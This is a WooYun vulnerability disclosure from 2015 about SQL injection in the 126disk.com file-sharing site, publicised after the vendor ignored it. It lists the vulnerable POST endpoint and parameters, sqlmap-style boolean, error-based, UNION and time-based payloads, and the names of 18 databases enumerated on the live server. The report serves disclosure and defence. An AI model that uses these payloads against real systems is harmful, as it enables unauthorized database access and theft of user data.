当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117994

漏洞标题:126网盘存在SQL注入漏洞(可导致敏感数据受到影响)

相关厂商:126Disk

漏洞作者: 人丑嘴不甜

提交时间:2015-06-03 18:00

修复时间:2015-07-18 18:02

公开时间:2015-07-18 18:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

126网盘存在SQL注入漏洞(可导致敏感数据受到影响)

详细说明:

注入点
http://www.126disk.com:80/index.php?ac=file_ajax&ct=save_form (POST)
id=2721384&uid=302178&share=1&fid=0

---
Place: POST
Parameter: uid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2721384&uid=302178 AND 9900=9900&share=1&fid=0
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2721384&uid=302178 AND (SELECT 6506 FROM(SELECT COUNT(*),CONCAT(0x7166686f71,(SELECT (CASE WHEN (6506=6506) THEN 1 ELSE 0 END)),0x71766e7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&share=1&fid=0
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: id=2721384&uid=-5239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7166686f71,0x47435a6659424d4a4369,0x71766e7371),NULL,NULL#&share=1&fid=0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2721384&uid=302178 AND SLEEP(5)&share=1&fid=0
Place: POST
Parameter: share
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2721384&uid=302178&share=1 AND 2230=2230&fid=0
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2721384&uid=302178&share=1 AND (SELECT 8511 FROM(SELECT COUNT(*),CONCAT(0x7166686f71,(SELECT (CASE WHEN (8511=8511) THEN 1 ELSE 0 END)),0x71766e7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&fid=0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2721384&uid=302178&share=1 AND SLEEP(5)&fid=0
---
web application technology: Nginx, PHP 5.3.28
back-end DBMS: MySQL 5.0
available databases [18]:
[*] alipay
[*] android
[*] apk126disk
[*] apk5com
[*] disk
[*] disk126com
[*] information_schema
[*] loading
[*] mysql
[*] performance_schema
[*] sopdown
[*] test
[*] tongji
[*] ts27cha
[*] www_alipay
[*] www_loading
[*] www_tongji
[*] www_ts27cha

漏洞证明:

01.png

02.png

03.jpg

QQ图片20150529150502.png

修复方案:

恩恩 过滤特殊字符

版权声明:转载请注明来源 人丑嘴不甜@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论